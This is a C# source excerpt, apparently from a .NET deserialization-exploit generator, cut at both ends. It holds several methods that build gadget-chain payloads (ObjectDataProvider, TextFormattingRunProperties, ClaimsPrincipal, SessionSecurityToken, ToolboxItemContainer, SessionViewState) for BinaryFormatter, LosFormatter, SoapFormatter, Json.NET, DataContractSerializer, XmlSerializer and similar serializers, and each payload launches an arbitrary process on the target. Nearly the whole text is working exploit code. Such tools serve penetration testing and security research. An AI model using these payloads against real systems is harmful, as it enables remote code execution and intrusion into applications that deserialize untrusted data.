ndcPayload = @"<w b:Type=""System.Resources.ResourceSet"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Resources"" xmlns:a=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/""><Table b:Type=""System.Collections.Hashtable"" b:Assembly=""0"" xmlns:c=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""><LoadFactor b:Type=""System.Single"" b:Assembly=""0"" xmlns="""">0</LoadFactor><Version b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">1</Version><HashSize b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">3</HashSize><Values b:Type=""System.Object[]"" b:Assembly=""0"" b:Size=""1"" xmlns=""""><c:anyType b:Type=""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"" b:Assembly=""Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35""><ForegroundBrush b:Type=""System.String"" b:Assembly=""0""><![CDATA[" + xaml_payload + @"]]></ForegroundBrush></c:anyType></Values></Table></w>";
//</Values></Table></w> can also be removed to make it even shorter! Why? IDK atm!
}
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
ndcPayload = XMLMinifier.Minify(ndcPayload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true);
}
else
{
ndcPayload = XMLMinifier.Minify(ndcPayload, null, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(ndcPayload);
/*
* MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(ndcPayload));
* ms.Position = 0;
* ndcs.Deserialize(ms);
*/
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(ndcPayload);
//return Serialize(myResourceSet, formatter, inputArgs);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
// commented for future reference (research purposes)
/*
* Boolean hasArgs;
* string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs);
*
* String cmdPart;
*
*
* if (hasArgs)
* {
* cmdPart = $@"<System:String>"+ splittedCMD[0] + @"</System:String>
* <System:String>""" + splittedCMD[1] + @""" </System:String>";
* }
* else
* {
* cmdPart = $@"<System:String>" + splittedCMD[0] + @"</System:String>";
* }
*
*
* string xaml_payload = @"<ResourceDictionary
* xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
* xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
* xmlns:System=""clr-namespace:System;assembly=mscorlib""
* xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
* <ObjectDataProvider x:Key="""" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
* <ObjectDataProvider.MethodParameters>
* "+ cmdPart + @"
* </ObjectDataProvider.MethodParameters>
* </ObjectDataProvider>
* </ResourceDictionary>";
*
*
* // This is a little bit shorter to use startinfo
* if (hasArgs)
* {
* cmdPart = $@"<ProcessStartInfo FileName=""" + splittedCMD[0] + @""" Arguments=""" + splittedCMD[1] + @"""/>";
* }
* else
* {
* cmdPart = $@"<ProcessStartInfo FileName=""" + splittedCMD[0] + @"""/>";
* }
*
* string xaml_payload = @"<ResourceDictionary
* xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
* xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
* >
* <ObjectDataProvider x:Key="""" MethodName=""Start"">
* <ObjectDataProvider.ObjectInstance>
* <Process xmlns=""clr-namespace:System.Diagnostics;assembly=system"">
* <Process.StartInfo>" + cmdPart + @"</Process.StartInfo>
* </Process>
* </ObjectDataProvider.ObjectInstance>
* </ObjectDataProvider>
* </ResourceDictionary>";
*/
if (xaml_url != "")
{
// this is when it comes from GenerateWithInit
inputArgs.ExtraInternalArguments = new List <String> {
"--variant", "3", "--xamlurl", xaml_url
};
}
//SerializersHelper.ShowAll(TextFormattingRunPropertiesGadget(inputArgs));
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("SoapFormatter", StringComparison.OrdinalIgnoreCase))
{
return(Serialize(TextFormattingRunPropertiesGadget(inputArgs), formatter, inputArgs));
}
else if (formatter.Equals("NetDataContractSerializer", StringComparison.OrdinalIgnoreCase))
{
string utfString = System.Text.Encoding.UTF8.GetString((byte [])SerializeWithNoTest(TextFormattingRunPropertiesGadget(inputArgs), formatter, inputArgs));
string payload = SerializersHelper.NetDataContractSerializer_Marshal_2_MainType(utfString);
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true);
}
else
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.NetDataContractXML, true);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("DataContractSerializer", StringComparison.OrdinalIgnoreCase))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
string payload = "";
if (hasRootDCS)
{
payload = SerializersHelper.DataContractSerializer_Marshal_2_MainType(SerializersHelper.DataContractSerializer_serialize(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs)), "root", "type", typeof(TextFormattingRunProperties));
}
else
{
payload = SerializersHelper.DataContractSerializer_Marshal_2_MainType(SerializersHelper.DataContractSerializer_serialize(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs)));
}
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true);
}
if (inputArgs.Test)
{
try
{
if (hasRootDCS)
{
SerializersHelper.DataContractSerializer_deserialize(payload, "", "root", "type");
}
else
{
SerializersHelper.DataContractSerializer_deserialize(payload, typeof(TextFormattingRunProperties));
}
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
byte[] rceGadget = (byte[])(new TypeConfuseDelegateGenerator()).GenerateWithNoTest("BinaryFormatter", inputArgs);
string b64encoded = Convert.ToBase64String(rceGadget);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
{
string payload_bf_json = @"[{'Id': 1,
'Data': {
'$type': 'SerializationHeaderRecord',
'binaryFormatterMajorVersion': 1,
'binaryFormatterMinorVersion': 0,
'binaryHeaderEnum': 0,
'topId': 1,
'headerId': -1,
'majorVersion': 1,
'minorVersion': 0
}},{'Id': 2,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 1,
'name': 'System.Security.Claims.ClaimsPrincipal',
'numMembers': 1,
'memberNames':['m_serializedClaimsIdentities'],
'binaryTypeEnumA':[1],
'typeInformationA':[null],
'typeInformationB':[null],
'memberAssemIds':[0],
'assemId': 0
}},{'Id': 10,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 5,
'value': '" + b64encoded + @"'
}},{'Id': 11,
'TypeName': 'MessageEnd',
'Data': {
'$type': 'MessageEnd'
}}]";
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(payload_bf_json);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase))
{
if (inputArgs.Test)
{
try
{
ms.Position = 0;
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
bf.Deserialize(ms);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(ms.ToArray());
}
else
{
// it is LosFormatter
byte[] lfSerializedObj = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms.ToArray());
MemoryStream ms2 = new MemoryStream(lfSerializedObj);
ms2.Position = 0;
if (inputArgs.Test)
{
try
{
System.Web.UI.LosFormatter lf = new System.Web.UI.LosFormatter();
lf.Deserialize(ms2);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(lfSerializedObj);
}
}
else if (formatter.ToLower().Equals("soapformatter"))
{
string payload = "";
payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:ClaimsPrincipal id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/ns/System.Security.Claims"">
<m_serializedClaimsIdentities id=""ref-5"">{b64encoded}</m_serializedClaimsIdentities>
</a1:ClaimsPrincipal>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.SoapFormatter_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
Generator generator = new TextFormattingRunPropertiesGenerator();
string losFormatterText = Encoding.UTF8.GetString((byte[])generator.GenerateWithNoTest("LosFormatter", inputArgs));
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase))
{
var obj = new SessionViewStateHistoryItemMarshal(losFormatterText);
return(Serialize(obj, formatter, inputArgs));
}
else if (formatter.ToLower().Equals("json.net"))
{
string payload = "{'$type': 'System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a', 's':'" + GetB64SessionToken(losFormatterText) + "'}";
if (inputArgs.Minify)
{
// by default JsonSerializerSettings.TypeNameAssemblyFormat is set to Simple so we can remove the version etc from the assembly name
// see https://www.newtonsoft.com/json/help/html/P_Newtonsoft_Json_JsonSerializerSettings_TypeNameAssemblyFormat.htm
// if TypeNameAssemblyFormat == Full , then we have to keep the full name
payload = JSONMinifier.Minify(payload, new string[] { "System.Web.Mobile" }, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
string payload = $@"<root type=""System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""><SessionViewState.SessionViewStateHistoryItem xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""http://schemas.datacontract.org/2004/07/System.Web.UI.MobileControls"">
<s i:type=""x:string"" xmlns="""">{GetB64SessionToken(losFormatterText)}</s>
</SessionViewState.SessionViewStateHistoryItem></root>";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
string payload = $@"<root><w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" z:Id=""1"" z:Type=""System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem"" z:Assembly=""System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
<s z:Type=""System.String"" z:Assembly=""0"" xmlns="""">{GetB64SessionToken(losFormatterText)}</s>
</w></root>";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload, "root");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("soapformatter"))
{
string payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:SessionViewState_x002B_SessionViewStateHistoryItem id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.Web.UI.MobileControls/System.Web.Mobile%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db03f5f7f11d50a3a"">
<s>{GetB64SessionToken(losFormatterText)}</s>
</a1:SessionViewState_x002B_SessionViewStateHistoryItem>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.SoapFormatter_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
byte[] gadget = (byte[])SerializeWithNoTest(TextFormattingRunPropertiesGenerator.TextFormattingRunPropertiesGadget(inputArgs), "binaryformatter", inputArgs);
string b64encoded = Convert.ToBase64String(gadget);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
{
var obj = new ToolboxItemContainerMarshal(gadget);
return(Serialize(obj, formatter, inputArgs));
}
else if (formatter.ToLower().Equals("soapformatter"))
{
string payload = $@"
<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:ToolboxItemContainer id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.Drawing.Design/System.Drawing.Design%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db03f5f7f11d50a3a"">
<TbxIC_DataObjectFormats href=""#ref-3""/>
<TbxIC_DataObjectValues href=""#ref-4""/>
</a1:ToolboxItemContainer>
<SOAP-ENC:Array id=""ref-3"" SOAP-ENC:arrayType=""xsd:string[1]"">
<item id=""ref-5"">CF_TOOLBOXITEMCONTAINER_CONTENTS</item>
</SOAP-ENC:Array>
<SOAP-ENC:Array id=""ref-4"" SOAP-ENC:arrayType=""xsd:anyType[1]"">
<item href=""#ref-6""/>
</SOAP-ENC:Array>
<a1:ToolboxItemContainer_x002B_ToolboxItemSerializer id=""ref-6"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.Drawing.Design/System.Drawing.Design%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db03f5f7f11d50a3a"">
<AssemblyName href=""#ref-7""/>
<Stream href=""#ref-8""/>
</a1:ToolboxItemContainer_x002B_ToolboxItemSerializer>
<a3:AssemblyName id=""ref-7"" xmlns:a3=""http://schemas.microsoft.com/clr/ns/System.Reflection"">
<_Name id=""ref-9"">mscorlib</_Name>
<_PublicKeyToken xsi:null=""1""/>
<_CultureInfo>127</_CultureInfo>
<_CodeBase id=""ref-11"">file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll</_CodeBase>
<_HashAlgorithm xsi:type=""a4:AssemblyHashAlgorithm"" xmlns:a4=""http://schemas.microsoft.com/clr/ns/System.Configuration.Assemblies"">SHA1</_HashAlgorithm>
<_HashAlgorithmForControl xsi:type=""a4:AssemblyHashAlgorithm"" xmlns:a4=""http://schemas.microsoft.com/clr/ns/System.Configuration.Assemblies"">None</_HashAlgorithmForControl>
<_StrongNameKeyPair xsi:null=""1""/>
<_Flags xsi:type=""a3:AssemblyNameFlags"" xmlns:a3=""http://schemas.microsoft.com/clr/ns/System.Reflection"">33</_Flags>
</a3:AssemblyName>
<SOAP-ENC:Array id=""ref-8"" xsi:type=""SOAP-ENC:base64"">{b64encoded}</SOAP-ENC:Array>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null, FormatterType.SoapFormatter);
}
else
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.SoapFormatter_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
Generator generator = new TextFormattingRunPropertiesGenerator();
byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
string b64encoded = Convert.ToBase64String(binaryFormatterPayload);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase))
{
var obj = new SessionSecurityTokenMarshal(b64encoded);
return(Serialize(obj, formatter, inputArgs));
}
else if (formatter.ToLower().Equals("json.net"))
{
string payload = "{'$type': 'System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'SessionToken':{'$type':'System.Byte[], mscorlib','$value':'" + GetB64SessionToken(b64encoded) + "'}}";
if (inputArgs.Minify)
{
payload = JSONMinifier.Minify(payload, new string[] { "System.IdentityModel" }, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
string payload = $@"<root type=""System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""><SessionSecurityToken xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""http://schemas.datacontract.org/2004/07/System.IdentityModel.Tokens"">
<SessionToken i:type=""x:base64Binary"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken>
</SessionSecurityToken></root>";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
string payload = $@"<root><w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" z:Id=""1"" z:Type=""System.IdentityModel.Tokens.SessionSecurityToken"" z:Assembly=""System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
<SessionToken z:Type=""System.Byte[]"" z:Assembly=""0"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken>
</w></root>";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload, "root");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("soapformatter"))
{
string payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:SessionSecurityToken id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.IdentityModel.Tokens/System.IdentityModel%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"">
<SessionToken href=""#ref-3""/>
</a1:SessionSecurityToken>
<SOAP-ENC:Array id=""ref-3"" xsi:type=""SOAP-ENC:base64"">{GetB64SessionToken(b64encoded)}</SOAP-ENC:Array>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.SoapFormatter_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
// NOTE: What is Xaml2? Xaml2 uses ResourceDictionary in addition to just using ObjectDataProvider as in Xaml
if (formatter.ToLower().Equals("xaml") || formatter.ToLower().Equals("xaml2"))
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = inputArgs.CmdFileName;
if (inputArgs.HasArguments)
{
psi.Arguments = inputArgs.CmdArguments;
}
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
string payload = "";
if (formatter.ToLower().Equals("xaml2"))
{
ResourceDictionary myResourceDictionary = new ResourceDictionary();
myResourceDictionary.Add("", odp);
payload = XamlWriter.Save(myResourceDictionary);
}
else
{
payload = XamlWriter.Save(odp);
}
if (inputArgs.Minify)
{
// using discardable regex array to make it shorter!
payload = XMLMinifier.Minify(payload, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
}
if (inputArgs.Test)
{
try
{
SerializersHelper.Xaml_deserialize(payload);
}
catch
{
}
}
return(payload);
}
if (formatter.ToLower().Equals("json.net"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
string cmdPart = "";
if (inputArgs.HasArguments)
{
cmdPart = "'" + inputArgs.CmdFileName + "', '" + inputArgs.CmdArguments + "'";
}
else
{
cmdPart = "'" + inputArgs.CmdFileName + "'";
}
String payload = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':[" + cmdPart + @"]
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = JSONMinifier.Minify(payload, new String[] { "PresentationFramework", "mscorlib", "System" }, null);
}
else
{
payload = JSONMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("fastjson"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = @"""FileName"":""" + inputArgs.CmdFileName + @""",""Arguments"":""" + inputArgs.CmdArguments + @"""";
}
else
{
cmdPart = @"""FileName"":""" + inputArgs.CmdFileName + @"""";
}
String payload = @"{
""$types"":{
""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
},
""$type"":""1"",
""ObjectInstance"":{
""$type"":""2"",
""StartInfo"":{
""$type"":""3"",
" + cmdPart + @"
}
},
""MethodName"":""Start""
}";
if (inputArgs.Minify)
{
payload = JSONMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
var instance = JSON.ToObject <Object>(payload);
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("javascriptserializer"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.JSON;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = "'FileName':'" + inputArgs.CmdFileName + "', 'Arguments':'" + inputArgs.CmdArguments + "'";
}
else
{
cmdPart = "'FileName':'" + inputArgs.CmdFileName + "'";
}
String payload = @"{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
" + cmdPart + @"
}
}
}";
if (inputArgs.Minify)
{
payload = JSONMinifier.Minify(payload, null, null);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JavaScriptSerializer_deserialize(payload);
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("xmlserializer"))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
String cmdPart;
if (inputArgs.HasArguments)
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String><b:String>{inputArgs.CmdArguments}</b:String>";
}
else
{
cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{inputArgs.CmdFileName}</b:String>";
}
String payload = $@"<?xml version=""1.0""?>
<root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string"">
<![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">{cmdPart}</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type=""XamlReader""></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
";
if (inputArgs.Minify)
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.XMLSerializer, true);
}
if (inputArgs.Test)
{
try
{
SerializersHelper.XMLSerializer_deserialize(payload, null, "root");
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer2"))
{
